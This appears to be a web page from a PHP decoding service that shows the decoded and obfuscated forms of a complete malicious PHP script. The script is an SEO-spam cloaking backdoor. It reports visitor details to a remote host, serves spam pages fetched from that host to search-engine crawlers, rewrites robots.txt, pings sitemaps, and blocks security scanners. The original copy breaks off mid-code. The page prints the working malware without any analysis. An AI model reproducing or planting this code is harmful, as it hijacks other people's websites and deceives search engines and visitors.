Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto Hp9LD; zcp9a: NEwMu: goto GfKj9; V5Gcl: $OeKU9 = $qIB6T . "\77\141\x67\145\x6e\x74\75..
Decoded Output download
<? goto Hp9LD; zcp9a: NEwMu: goto GfKj9; V5Gcl: $OeKU9 = $qIB6T . "?agent={$nCCy3}&refer={$DZemt}&lang={$DAkaI}&ip={$DEI9v}&dom={$kksF_}&http={$oyxNo}&uri={$y0gCp}&pc={$Ybkkx}&rewriteable={$YMTaP}&script={$l49T8}"; goto InlU8; ITyh9: $_SERVER["REQUEST_SCHEME"] = "https"; goto r2Z_L; c7DeA: $l49T8 = urlencode($_SERVER["SCRIPT_NAME"]); goto Ur7wC; ZIFl1: if (!($sLIIg == "153.246.135.238" || $sLIIg == "219.101.44.233")) { goto e0Pgq; } goto f3bMl; kzGJL: iUIKi: goto J3eZs; KVEE1: $oyxNo = urlencode($_SERVER["REQUEST_SCHEME"]); goto lNSgn; T_sgy: function UA2Od($nxiBr) { goto gboNv; u5X6E: $VQ5E4 = curl_exec($To1CE); goto ecfp2; lkSR5: if (!(strpos($nxiBr, "https://") !== false)) { goto V4Z1h; } goto XzeKh; uMj2d: curl_setopt($To1CE, CURLOPT_RETURNTRANSFER, true); goto qRhWk; zY2pC: d1TI0: goto VAJYU; XzeKh: curl_setopt($To1CE, CURLOPT_SSL_VERIFYPEER, FALSE); goto P69Ig; P69Ig: curl_setopt($To1CE, CURLOPT_SSL_VERIFYHOST, FALSE); goto lBSVk; qRhWk: curl_setopt($To1CE, CURLOPT_FOLLOWLOCATION, false); goto lkSR5; ecfp2: curl_close($To1CE); goto zY2pC; xKdwV: $To1CE = curl_init(); goto aCvCz; lBSVk: V4Z1h: goto u5X6E; VAJYU: return $VQ5E4; goto p3cLi; aCvCz: curl_setopt($To1CE, CURLOPT_URL, $nxiBr); goto uMj2d; FMEFo: if (!empty($VQ5E4)) { goto d1TI0; } goto xKdwV; gboNv: $VQ5E4 = @file_get_contents($nxiBr); goto FMEFo; p3cLi: } goto a71U9; zFF2z: lIGFi: goto zafpq; pgd2p: $kksF_ = urlencode($_SERVER["HTTP_HOST"]); goto c7DeA; wZkD7: if (!preg_match("/<h2>(.+?)<\/h2>/i", $EiK5X, $jwu0u)) { goto aa3Yw; } goto PEIZo; A7E3E: e0Pgq: goto e2B8l; sJH6E: header("HTTP/1.0 403 Forbidden"); goto QbefS; c1S6O: $SdozF = trim($SdozF) . "\xd\xa" . "Sitemap: {$EhZgC}"; goto bmy8G; baH15: $XZar_++; goto B3OUf; IpYzF: exit; goto A7E3E; tz8gi: goto TPc2B; goto gbHFX; lhFtZ: if ($EiK5X == "ok") { goto ZK0BE; } goto i7vC0; VR90G: PdTVG: goto fEefK; XTl2y: goto P00aT; goto p_ymn; KrVj_: nR4to: goto DEn8c; YTGPc: $OeKU9 = $qIB6T . "?agent={$nCCy3}&refer={$DZemt}&lang={$DAkaI}&ip={$DEI9v}&dom={$kksF_}&http={$oyxNo}&uri={$y0gCp}&pc={$Ybkkx}&rewriteable={$YMTaP}"; goto bV3lr; e2B8l: $YMTaP = 0; goto iUAIe; AMq7W: $j0iG5 = $j0iG5 . "?"; goto r9pjr; Hp9LD: error_reporting(0); goto JVu2E; jIO1b: if (empty($EiK5X)) { goto X81FR; } goto ZffF9; jJR2f: exit; goto kzGJL; dyeF8: lOAOt: goto ZIFl1; UGfAl: exit; goto dA6GB; B3OUf: goto A94XB; goto KrVj_; ifFjv: $DAkaI = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto CCveM; yuGoF: D4q6x: goto YTGPc; zu1C5: $EiK5X = UA2Od($OeKU9); goto sqP0s; HBt3o: echo $EiK5X; goto v0yKi; vm8OF: $DEI9v = urlencode($sLIIg); goto pgd2p; Zp8Vm: if ($YMTaP == 0) { goto wHbB3; } goto rr4mo; SQ5LZ: if (preg_match("@^/(.*?).xml$@i", $y0gCp)) { goto QkW0R; } goto DVhIz; DVhIz: if (preg_match("/({$Vsx34})/i", $_SERVER["HTTP_USER_AGENT"])) { goto TKUmO; } goto pOnqd; OHUtK: Qv0AH: goto zFF2z; vKDuc: goto lV58w; goto ZHsET; Ur7wC: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto y9AHr; } goto gk5tn; Pe23g: goto uszZX; goto nAkdL; u7U7T: kYrOq: goto QLJ9O; PVfhJ: $EiK5X = uA2od($OeKU9); goto HS3aN; gk5tn: $_SERVER["REQUEST_SCHEME"] = "http"; goto XTl2y; pepou: FFa0e: goto cLTH2; InlU8: $EiK5X = Ua2oD($OeKU9); goto Zl80V; Lyxb6: $YMTaP = 1; goto bUDpk; D9HBQ: goto kYrOq; goto pepou; reofA: $DZemt = urlencode($_SERVER["HTTP_REFERER"]); goto ifFjv; r2Z_L: P00aT: goto KVEE1; lNSgn: $y0gCp = urldecode($_SERVER["REQUEST_URI"]); goto DNnLB; nmoqx: $nCCy3 = urlencode($_SERVER["HTTP_USER_AGENT"]); goto reofA; CYeP6: $SdozF = "User-agent: *
\xaAllow: /"; goto jrW9r; Zl80V: if (empty($EiK5X)) { goto a5ud3; } goto arq5X; A0fjE: Ne4sh: goto njRCK; b9m2U: $YMTaP = @file_get_contents("uxo.txt"); goto D9HBQ; UDa8h: $XZar_ = 1; goto yIC4U; cLTH2: $h54ez = $oyxNo . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo"; goto ts2oP; JKLGs: QkW0R: goto dB9qW; ZffF9: header("HTTP/1.1 404 Not Found"); goto qulOS; K7k_k: TPc2B: goto dlT_2; BnyM3: uszZX: goto HBt3o; Wz0KB: $jmGEa = "https://www.google.com/ping?sitemap="; goto CYeP6; DEn8c: @file_put_contents("robots.txt", $SdozF); goto W8JTK; KC7aG: goto V7fIy; goto yuGoF; J0dnT: @file_put_contents("robots.txt", $EiK5X); goto aiD_J; RWign: $EiK5X = Ua2OD($OeKU9); goto UDa8h; E9wAu: exit; goto dyeF8; hWhuq: jginp: goto C6t8o; FjzAM: @file_put_contents("uxo.txt", "0"); goto cqi8s; DNnLB: if (!(strpos($y0gCp, "uuuuxxxxooo") !== false)) { goto lOAOt; } goto aIHgX; zNKk7: if (strpos($y0gCp, "robots.txt") !== false || strpos($y0gCp, "writerobots") !== false) { goto PdTVG; } goto SQ5LZ; PEIZo: $Bdh6i = $jwu0u[1]; goto OSndh; cqi8s: goto Dbus4; goto LnhMy; W8JTK: exit; goto pOjKF; Yn9cm: echo $EiK5X = uA2OD($OeKU9); goto J0dnT; EXAIb: if (strpos($y0gCp, "favicon.ico") !== false) { goto Qv0AH; } goto CLWIF; crNFr: $OeKU9 = $qIB6T . "?agent={$nCCy3}&refer={$DZemt}&lang={$DAkaI}&ip={$DEI9v}&dom={$kksF_}&http={$oyxNo}&uri={$y0gCp}&pc={$Ybkkx}&rewriteable={$YMTaP}&script={$l49T8}"; goto PVfhJ; CCveM: $sLIIg = cTnDW(); goto vm8OF; QAzgZ: Oz3AZ: goto baH15; a71U9: function z1AWa($nxiBr) { goto Z7UeJ; wmmm7: $VQ5E4 = curl_exec($To1CE); goto p6q2y; bAAYA: curl_setopt($To1CE, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto WE46E; QiQJx: FKQA7: goto m8PAF; SquGV: curl_setopt($To1CE, CURLOPT_FOLLOWLOCATION, false); goto bAAYA; oAhRQ: $VQ5E4 = @file_get_contents($nxiBr); goto QiQJx; OZi0v: curl_setopt($To1CE, CURLOPT_URL, $nxiBr); goto Rvt5I; Jhn3I: if (!empty($VQ5E4)) { goto FKQA7; } goto oAhRQ; Rvt5I: curl_setopt($To1CE, CURLOPT_RETURNTRANSFER, true); goto SquGV; YNN_i: curl_setopt($To1CE, CURLOPT_SSL_VERIFYPEER, FALSE); goto CF2mn; m8PAF: return $VQ5E4; goto GWCWk; Z7UeJ: $To1CE = curl_init(); goto OZi0v; WE46E: if (!(strpos($nxiBr, "https://") !== false)) { goto HkfKf; } goto YNN_i; CF2mn: curl_setopt($To1CE, CURLOPT_SSL_VERIFYHOST, FALSE); goto RKpz0; p6q2y: curl_close($To1CE); goto Jhn3I; RKpz0: HkfKf: goto wmmm7; GWCWk: } goto RUJEO; TBRjr: $j0iG5 = "/?"; goto K7k_k; OSndh: aa3Yw: goto vUGZj; iUAIe: if (!file_exists("uxo.txt")) { goto FFa0e; } goto b9m2U; JVu2E: function CtnDw() { goto DrBVr; XdEZM: $YEr1w = explode(",", $DEI9v); goto NUkIU; r2AiP: $DEI9v = getenv("REMOTE_ADDR"); goto Vd8Vu; g4u9U: $DEI9v = getenv("HTTP_X_REAL_IP"); goto OCCiR; UusVK: goto Yj0Fu; goto K12Vw; ic8R4: $DEI9v = getenv("HTTP_CLIENT_IP"); goto yASRW; DrBVr: if (!getenv("HTTP_CLIENT_IP")) { goto mpRw3; } goto ic8R4; gVNer: M27CZ: goto g4u9U; KiZB6: if (getenv("HTTP_X_FORWARDED_FOR")) { goto LE9uZ; } goto sFY_2; okgen: $DEI9v = getenv("HTTP_X_FORWARDED_FOR"); goto XdEZM; UvOYN: if (getenv("HTTP_X_REAL_IP")) { goto M27CZ; } goto KiZB6; Vd8Vu: Yj0Fu: goto FLZve; yASRW: mpRw3: goto UvOYN; ZFCBi: $DEI9v = "0.0.0.0"; goto cNCSk; cNCSk: goto Yj0Fu; goto gVNer; NUkIU: $DEI9v = $YEr1w[0]; goto UusVK; OCCiR: goto Yj0Fu; goto twT3c; twT3c: LE9uZ: goto okgen; sFY_2: if (getenv("REMOTE_ADDR")) { goto CSKs3; } goto ZFCBi; K12Vw: CSKs3: goto r2AiP; FLZve: return $DEI9v; goto J00t6; J00t6: } goto T_sgy; dB9qW: $OeKU9 = $qIB6T . "?agent={$nCCy3}&refer={$DZemt}&lang={$DAkaI}&ip={$DEI9v}&dom={$kksF_}&http={$oyxNo}&uri={$y0gCp}&pc={$Ybkkx}&rewriteable={$YMTaP}&script={$l49T8}"; goto zu1C5; yIC4U: A94XB: goto CQXk3; p_ymn: y9AHr: goto ITyh9; BH_jW: exit; goto fxG2F; oaXy2: Dbus4: goto u7U7T; dskxP: QjUPc: goto vKDuc; dA6GB: X81FR: goto l0kBw; FJHEG: $qIB6T = "http://cw47.mattloop.top/index.php"; goto jZu2u; D90Jy: Mm5Y3: goto Zp8Vm; vhZxg: $Bdh6i = ''; goto wZkD7; aiD_J: exit; goto dskxP; njRCK: $j0iG5 = $_SERVER["SCRIPT_NAME"]; goto CB7s1; QLJ9O: if (strpos($y0gCp, "pingsitemap.xml") !== false) { goto Ne4sh; } goto EXAIb; GfKj9: goto iUIKi; goto JKLGs; CTlUz: header("Content-Type: text/plain; charset=utf-8"); goto Yn9cm; jZu2u: $Ybkkx = 2711; goto nmoqx; NjzQ4: echo $EiK5X; goto jJR2f; dlT_2: z5pFA: goto Wz0KB; l0kBw: V7fIy: goto BCV2S; hJ76w: TKUmO: goto V5Gcl; x0vVu: header("Content-Type: text/xml; charset=utf-8"); goto BnyM3; bmy8G: $EiK5X = Z1aWa($jmGEa . urlencode($EhZgC)); goto vhZxg; qulOS: echo $EiK5X; goto UGfAl; aIHgX: echo "ok"; goto E9wAu; ffCf3: usleep(100 * 1000); goto Yco8D; r9pjr: goto z5pFA; goto D90Jy; nAkdL: oQGqC: goto x0vVu; fEefK: $OeKU9 = $qIB6T . "?agent={$nCCy3}&refer={$DZemt}&lang={$DAkaI}&ip={$DEI9v}&dom={$kksF_}&http={$oyxNo}&uri={$y0gCp}&pc={$Ybkkx}&rewriteable={$YMTaP}&script={$l49T8}"; goto CTlUz; HS3aN: echo $EiK5X; goto BH_jW; i7vC0: $YMTaP = 0; goto FjzAM; RUJEO: if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot|paloaltonetworks|Python)/i", $_SERVER["HTTP_USER_AGENT"])) { goto jginp; } goto sJH6E; CLWIF: if (strpos($y0gCp, "jp2023") !== false) { goto bxK73; } goto zNKk7; SKe6q: header("Content-Type: text/html; charset=utf-8"); goto Pe23g; rr4mo: $j0iG5 = "/"; goto tz8gi; bV3lr: $EiK5X = ua2od($OeKU9); goto jIO1b; jrW9r: $EhZgC = "{$oyxNo}://" . $kksF_ . $j0iG5 . "sitemap.xml"; goto c1S6O; BCV2S: goto NEwMu; goto hJ76w; v0yKi: exit; goto buvS4; ZHsET: bxK73: goto crNFr; QbefS: exit; goto hWhuq; C5J7h: goto lIGFi; goto OHUtK; f3bMl: header("HTTP/1.0 403 Forbidden"); goto IpYzF; zafpq: goto Hjw6A; goto A0fjE; fxG2F: lV58w: goto C5J7h; vUGZj: echo $EhZgC . ": " . $Bdh6i . "<br/>"; goto ffCf3; ts2oP: $EiK5X = UA2Od($h54ez); goto lhFtZ; Yco8D: $OeKU9 = $qIB6T . "?agent={$nCCy3}&refer={$DZemt}&lang={$DAkaI}&ip={$DEI9v}&dom={$kksF_}&http={$oyxNo}&uri={$y0gCp}&pc={$Ybkkx}&rewriteable={$YMTaP}&script={$l49T8}&sitemap=" . urlencode($EhZgC); goto RWign; LnhMy: ZK0BE: goto Lyxb6; CB7s1: if (strpos($j0iG5, "index.php") !== false) { goto Mm5Y3; } goto AMq7W; pOnqd: if (preg_match("/({$Vsx34})/i", $_SERVER["HTTP_REFERER"])) { goto D4q6x; } goto KC7aG; bUDpk: @file_put_contents("uxo.txt", "1"); goto oaXy2; buvS4: a5ud3: goto zcp9a; C6t8o: $Vsx34 = "bing|google|yahoo"; goto FJHEG; CQXk3: if (!($XZar_ < 30)) { goto nR4to; } goto QAzgZ; J3eZs: goto QjUPc; goto VR90G; sqP0s: header("Content-Type: text/xml; charset=utf-8"); goto NjzQ4; arq5X: if (substr($EiK5X, 0, 5) == "<?xml") { goto oQGqC; } goto SKe6q; gbHFX: wHbB3: goto TBRjr; pOjKF: Hjw6A:
?>
Did this file decode correctly?
Original Code
goto Hp9LD; zcp9a: NEwMu: goto GfKj9; V5Gcl: $OeKU9 = $qIB6T . "\77\141\x67\145\x6e\x74\75{$nCCy3}\x26\x72\145\146\145\x72\x3d{$DZemt}\46\x6c\x61\156\x67\x3d{$DAkaI}\x26\x69\x70\x3d{$DEI9v}\46\144\157\x6d\75{$kksF_}\x26\x68\x74\164\160\x3d{$oyxNo}\x26\165\x72\151\x3d{$y0gCp}\x26\160\x63\x3d{$Ybkkx}\x26\162\x65\x77\x72\151\x74\x65\x61\142\154\145\75{$YMTaP}\46\x73\143\x72\x69\160\x74\75{$l49T8}"; goto InlU8; ITyh9: $_SERVER["\x52\105\x51\x55\105\x53\124\137\123\x43\x48\x45\x4d\x45"] = "\150\x74\x74\160\x73"; goto r2Z_L; c7DeA: $l49T8 = urlencode($_SERVER["\x53\x43\x52\111\x50\x54\137\116\x41\115\105"]); goto Ur7wC; ZIFl1: if (!($sLIIg == "\61\65\x33\x2e\x32\64\x36\56\61\63\65\x2e\x32\63\x38" || $sLIIg == "\62\61\x39\56\x31\x30\x31\56\64\64\56\x32\x33\63")) { goto e0Pgq; } goto f3bMl; kzGJL: iUIKi: goto J3eZs; KVEE1: $oyxNo = urlencode($_SERVER["\122\105\121\x55\x45\x53\x54\137\x53\x43\110\x45\115\105"]); goto lNSgn; T_sgy: function UA2Od($nxiBr) { goto gboNv; u5X6E: $VQ5E4 = curl_exec($To1CE); goto ecfp2; lkSR5: if (!(strpos($nxiBr, "\150\x74\x74\160\x73\x3a\x2f\x2f") !== false)) { goto V4Z1h; } goto XzeKh; uMj2d: curl_setopt($To1CE, CURLOPT_RETURNTRANSFER, true); goto qRhWk; zY2pC: d1TI0: goto VAJYU; XzeKh: curl_setopt($To1CE, CURLOPT_SSL_VERIFYPEER, FALSE); goto P69Ig; P69Ig: curl_setopt($To1CE, CURLOPT_SSL_VERIFYHOST, FALSE); goto lBSVk; qRhWk: curl_setopt($To1CE, CURLOPT_FOLLOWLOCATION, false); goto lkSR5; ecfp2: curl_close($To1CE); goto zY2pC; xKdwV: $To1CE = curl_init(); goto aCvCz; lBSVk: V4Z1h: goto u5X6E; VAJYU: return $VQ5E4; goto p3cLi; aCvCz: curl_setopt($To1CE, CURLOPT_URL, $nxiBr); goto uMj2d; FMEFo: if (!empty($VQ5E4)) { goto d1TI0; } goto xKdwV; gboNv: $VQ5E4 = @file_get_contents($nxiBr); goto FMEFo; p3cLi: } goto a71U9; zFF2z: lIGFi: goto zafpq; pgd2p: $kksF_ = urlencode($_SERVER["\110\x54\x54\120\137\110\117\123\x54"]); goto c7DeA; wZkD7: if (!preg_match("\x2f\x3c\x68\62\76\x28\56\x2b\77\x29\74\x5c\x2f\x68\62\76\x2f\x69", $EiK5X, $jwu0u)) { goto aa3Yw; } goto PEIZo; A7E3E: e0Pgq: goto e2B8l; sJH6E: header("\x48\124\124\x50\x2f\61\x2e\60\40\64\60\x33\40\106\157\x72\x62\x69\144\144\145\x6e"); goto QbefS; c1S6O: $SdozF = trim($SdozF) . "\xd\xa" . "\x53\151\x74\x65\155\x61\x70\72\40{$EhZgC}"; goto bmy8G; baH15: $XZar_++; goto B3OUf; IpYzF: exit; goto A7E3E; tz8gi: goto TPc2B; goto gbHFX; lhFtZ: if ($EiK5X == "\x6f\x6b") { goto ZK0BE; } goto i7vC0; VR90G: PdTVG: goto fEefK; XTl2y: goto P00aT; goto p_ymn; KrVj_: nR4to: goto DEn8c; YTGPc: $OeKU9 = $qIB6T . "\77\141\x67\145\156\164\75{$nCCy3}\x26\162\x65\146\145\162\75{$DZemt}\x26\154\141\156\147\75{$DAkaI}\46\x69\160\75{$DEI9v}\x26\144\x6f\155\75{$kksF_}\46\x68\x74\x74\x70\x3d{$oyxNo}\x26\165\x72\x69\x3d{$y0gCp}\46\x70\143\75{$Ybkkx}\x26\x72\145\167\x72\151\x74\145\141\142\x6c\145\x3d{$YMTaP}"; goto bV3lr; e2B8l: $YMTaP = 0; goto iUAIe; AMq7W: $j0iG5 = $j0iG5 . "\77"; goto r9pjr; Hp9LD: error_reporting(0); goto JVu2E; jIO1b: if (empty($EiK5X)) { goto X81FR; } goto ZffF9; jJR2f: exit; goto kzGJL; dyeF8: lOAOt: goto ZIFl1; UGfAl: exit; goto dA6GB; B3OUf: goto A94XB; goto KrVj_; ifFjv: $DAkaI = urlencode($_SERVER["\x48\124\124\x50\x5f\x41\103\103\x45\120\124\137\114\x41\x4e\107\125\101\107\x45"]); goto CCveM; yuGoF: D4q6x: goto YTGPc; zu1C5: $EiK5X = UA2Od($OeKU9); goto sqP0s; HBt3o: echo $EiK5X; goto v0yKi; vm8OF: $DEI9v = urlencode($sLIIg); goto pgd2p; Zp8Vm: if ($YMTaP == 0) { goto wHbB3; } goto rr4mo; SQ5LZ: if (preg_match("\100\136\x2f\50\x2e\52\x3f\51\56\x78\155\x6c\x24\100\x69", $y0gCp)) { goto QkW0R; } goto DVhIz; DVhIz: if (preg_match("\x2f\50{$Vsx34}\x29\x2f\x69", $_SERVER["\x48\124\124\120\x5f\x55\x53\105\x52\x5f\x41\x47\105\x4e\x54"])) { goto TKUmO; } goto pOnqd; OHUtK: Qv0AH: goto zFF2z; vKDuc: goto lV58w; goto ZHsET; Ur7wC: if (!empty($_SERVER["\x52\105\x51\x55\x45\123\x54\137\x53\103\x48\105\x4d\105"]) && $_SERVER["\x52\105\121\125\x45\x53\x54\137\x53\103\x48\x45\x4d\105"] == "\150\164\x74\x70\163" || !empty($_SERVER["\x48\124\124\x50\123"]) && $_SERVER["\110\x54\x54\x50\x53"] == "\x6f\156" || !empty($_SERVER["\123\x45\122\x56\105\x52\x5f\120\117\122\124"]) && $_SERVER["\x53\105\x52\x56\x45\122\x5f\120\117\122\124"] == "\x34\x34\63" || isset($_SERVER["\110\124\x54\x50\x5f\x58\137\x46\x4f\122\127\x41\122\x44\x45\x44\137\120\122\x4f\124\117"]) && $_SERVER["\110\124\x54\x50\x5f\130\137\106\x4f\122\127\x41\x52\104\105\x44\x5f\x50\x52\x4f\124\117"] == "\150\164\164\160\163") { goto y9AHr; } goto gk5tn; Pe23g: goto uszZX; goto nAkdL; u7U7T: kYrOq: goto QLJ9O; PVfhJ: $EiK5X = uA2od($OeKU9); goto HS3aN; gk5tn: $_SERVER["\x52\x45\x51\x55\105\x53\x54\x5f\123\103\110\105\115\x45"] = "\150\164\x74\x70"; goto XTl2y; pepou: FFa0e: goto cLTH2; InlU8: $EiK5X = Ua2oD($OeKU9); goto Zl80V; Lyxb6: $YMTaP = 1; goto bUDpk; D9HBQ: goto kYrOq; goto pepou; reofA: $DZemt = urlencode($_SERVER["\x48\124\x54\x50\x5f\x52\105\106\105\x52\x45\122"]); goto ifFjv; r2Z_L: P00aT: goto KVEE1; lNSgn: $y0gCp = urldecode($_SERVER["\122\105\x51\x55\x45\x53\x54\x5f\125\x52\x49"]); goto DNnLB; nmoqx: $nCCy3 = urlencode($_SERVER["\110\x54\124\120\137\125\x53\x45\x52\137\x41\107\x45\x4e\124"]); goto reofA; CYeP6: $SdozF = "\125\x73\x65\x72\55\x61\147\x65\156\x74\x3a\x20\52\15\xa\x41\154\154\157\x77\x3a\40\x2f"; goto jrW9r; Zl80V: if (empty($EiK5X)) { goto a5ud3; } goto arq5X; A0fjE: Ne4sh: goto njRCK; b9m2U: $YMTaP = @file_get_contents("\x75\170\x6f\56\164\x78\x74"); goto D9HBQ; UDa8h: $XZar_ = 1; goto yIC4U; cLTH2: $h54ez = $oyxNo . "\x3a\57\57" . $_SERVER["\110\124\x54\x50\x5f\110\x4f\x53\x54"] . "\57\165\x75\165\165\x78\170\x78\170\157\x6f\157"; goto ts2oP; JKLGs: QkW0R: goto dB9qW; ZffF9: header("\x48\x54\124\x50\57\61\56\x31\x20\64\60\x34\x20\116\x6f\164\40\x46\157\x75\x6e\144"); goto qulOS; K7k_k: TPc2B: goto dlT_2; BnyM3: uszZX: goto HBt3o; Wz0KB: $jmGEa = "\x68\x74\164\160\163\x3a\x2f\x2f\x77\x77\x77\56\147\157\157\147\154\145\56\143\157\x6d\x2f\160\151\x6e\147\x3f\163\x69\x74\x65\x6d\x61\160\75"; goto CYeP6; DEn8c: @file_put_contents("\162\x6f\x62\157\164\163\x2e\x74\x78\164", $SdozF); goto W8JTK; KC7aG: goto V7fIy; goto yuGoF; J0dnT: @file_put_contents("\162\x6f\x62\x6f\x74\163\56\164\x78\x74", $EiK5X); goto aiD_J; RWign: $EiK5X = Ua2OD($OeKU9); goto UDa8h; E9wAu: exit; goto dyeF8; hWhuq: jginp: goto C6t8o; FjzAM: @file_put_contents("\x75\170\157\56\x74\x78\164", "\x30"); goto cqi8s; DNnLB: if (!(strpos($y0gCp, "\165\x75\165\x75\x78\170\170\x78\x6f\157\157") !== false)) { goto lOAOt; } goto aIHgX; zNKk7: if (strpos($y0gCp, "\x72\x6f\x62\157\x74\x73\x2e\x74\x78\164") !== false || strpos($y0gCp, "\x77\x72\x69\x74\145\162\x6f\142\x6f\x74\163") !== false) { goto PdTVG; } goto SQ5LZ; PEIZo: $Bdh6i = $jwu0u[1]; goto OSndh; cqi8s: goto Dbus4; goto LnhMy; W8JTK: exit; goto pOjKF; Yn9cm: echo $EiK5X = uA2OD($OeKU9); goto J0dnT; EXAIb: if (strpos($y0gCp, "\146\141\x76\151\143\x6f\x6e\x2e\151\143\x6f") !== false) { goto Qv0AH; } goto CLWIF; crNFr: $OeKU9 = $qIB6T . "\x3f\x61\x67\145\156\164\75{$nCCy3}\46\162\145\x66\145\162\75{$DZemt}\46\x6c\141\x6e\147\75{$DAkaI}\x26\x69\x70\x3d{$DEI9v}\46\x64\157\x6d\75{$kksF_}\x26\x68\164\164\x70\75{$oyxNo}\x26\165\162\151\x3d{$y0gCp}\x26\160\x63\75{$Ybkkx}\46\162\x65\167\x72\x69\x74\145\141\142\154\x65\x3d{$YMTaP}\x26\x73\143\162\x69\x70\164\x3d{$l49T8}"; goto PVfhJ; CCveM: $sLIIg = cTnDW(); goto vm8OF; QAzgZ: Oz3AZ: goto baH15; a71U9: function z1AWa($nxiBr) { goto Z7UeJ; wmmm7: $VQ5E4 = curl_exec($To1CE); goto p6q2y; bAAYA: curl_setopt($To1CE, CURLOPT_USERAGENT, $_SERVER["\x48\x54\x54\x50\137\x55\123\x45\122\137\101\107\105\x4e\x54"]); goto WE46E; QiQJx: FKQA7: goto m8PAF; SquGV: curl_setopt($To1CE, CURLOPT_FOLLOWLOCATION, false); goto bAAYA; oAhRQ: $VQ5E4 = @file_get_contents($nxiBr); goto QiQJx; OZi0v: curl_setopt($To1CE, CURLOPT_URL, $nxiBr); goto Rvt5I; Jhn3I: if (!empty($VQ5E4)) { goto FKQA7; } goto oAhRQ; Rvt5I: curl_setopt($To1CE, CURLOPT_RETURNTRANSFER, true); goto SquGV; YNN_i: curl_setopt($To1CE, CURLOPT_SSL_VERIFYPEER, FALSE); goto CF2mn; m8PAF: return $VQ5E4; goto GWCWk; Z7UeJ: $To1CE = curl_init(); goto OZi0v; WE46E: if (!(strpos($nxiBr, "\150\164\x74\160\x73\x3a\x2f\57") !== false)) { goto HkfKf; } goto YNN_i; CF2mn: curl_setopt($To1CE, CURLOPT_SSL_VERIFYHOST, FALSE); goto RKpz0; p6q2y: curl_close($To1CE); goto Jhn3I; RKpz0: HkfKf: goto wmmm7; GWCWk: } goto RUJEO; TBRjr: $j0iG5 = "\57\x3f"; goto K7k_k; OSndh: aa3Yw: goto vUGZj; iUAIe: if (!file_exists("\x75\170\x6f\x2e\x74\x78\x74")) { goto FFa0e; } goto b9m2U; JVu2E: function CtnDw() { goto DrBVr; XdEZM: $YEr1w = explode("\54", $DEI9v); goto NUkIU; r2AiP: $DEI9v = getenv("\122\x45\x4d\x4f\x54\105\x5f\x41\104\104\122"); goto Vd8Vu; g4u9U: $DEI9v = getenv("\x48\124\124\120\137\130\x5f\x52\105\101\114\x5f\111\x50"); goto OCCiR; UusVK: goto Yj0Fu; goto K12Vw; ic8R4: $DEI9v = getenv("\110\x54\124\120\x5f\x43\114\x49\105\116\x54\137\x49\120"); goto yASRW; DrBVr: if (!getenv("\x48\124\124\120\x5f\103\x4c\x49\105\x4e\124\137\x49\120")) { goto mpRw3; } goto ic8R4; gVNer: M27CZ: goto g4u9U; KiZB6: if (getenv("\x48\124\124\120\x5f\x58\137\x46\x4f\122\x57\x41\122\x44\105\x44\137\x46\x4f\x52")) { goto LE9uZ; } goto sFY_2; okgen: $DEI9v = getenv("\x48\124\x54\120\137\x58\137\106\x4f\122\127\101\x52\104\105\x44\137\106\x4f\x52"); goto XdEZM; UvOYN: if (getenv("\x48\x54\x54\x50\x5f\130\137\122\x45\101\x4c\x5f\x49\120")) { goto M27CZ; } goto KiZB6; Vd8Vu: Yj0Fu: goto FLZve; yASRW: mpRw3: goto UvOYN; ZFCBi: $DEI9v = "\x30\56\x30\x2e\x30\56\x30"; goto cNCSk; cNCSk: goto Yj0Fu; goto gVNer; NUkIU: $DEI9v = $YEr1w[0]; goto UusVK; OCCiR: goto Yj0Fu; goto twT3c; twT3c: LE9uZ: goto okgen; sFY_2: if (getenv("\x52\x45\x4d\x4f\124\x45\137\101\x44\104\x52")) { goto CSKs3; } goto ZFCBi; K12Vw: CSKs3: goto r2AiP; FLZve: return $DEI9v; goto J00t6; J00t6: } goto T_sgy; dB9qW: $OeKU9 = $qIB6T . "\x3f\x61\x67\145\x6e\164\75{$nCCy3}\x26\x72\x65\x66\x65\x72\75{$DZemt}\46\x6c\141\x6e\x67\75{$DAkaI}\46\x69\160\75{$DEI9v}\x26\144\157\x6d\x3d{$kksF_}\x26\150\164\x74\160\x3d{$oyxNo}\46\165\162\151\x3d{$y0gCp}\46\x70\143\x3d{$Ybkkx}\46\x72\x65\167\162\x69\x74\x65\141\x62\154\x65\x3d{$YMTaP}\46\163\143\x72\151\160\164\x3d{$l49T8}"; goto zu1C5; yIC4U: A94XB: goto CQXk3; p_ymn: y9AHr: goto ITyh9; BH_jW: exit; goto fxG2F; oaXy2: Dbus4: goto u7U7T; dskxP: QjUPc: goto vKDuc; dA6GB: X81FR: goto l0kBw; FJHEG: $qIB6T = "\x68\x74\x74\x70\x3a\57\57\143\167\x34\67\x2e\x6d\x61\164\164\x6c\157\157\x70\x2e\164\157\x70\57\x69\x6e\144\145\x78\x2e\x70\x68\160"; goto jZu2u; D90Jy: Mm5Y3: goto Zp8Vm; vhZxg: $Bdh6i = ''; goto wZkD7; aiD_J: exit; goto dskxP; njRCK: $j0iG5 = $_SERVER["\x53\103\122\x49\x50\x54\x5f\x4e\x41\x4d\105"]; goto CB7s1; QLJ9O: if (strpos($y0gCp, "\160\151\x6e\x67\163\151\x74\145\155\x61\160\56\170\x6d\x6c") !== false) { goto Ne4sh; } goto EXAIb; GfKj9: goto iUIKi; goto JKLGs; CTlUz: 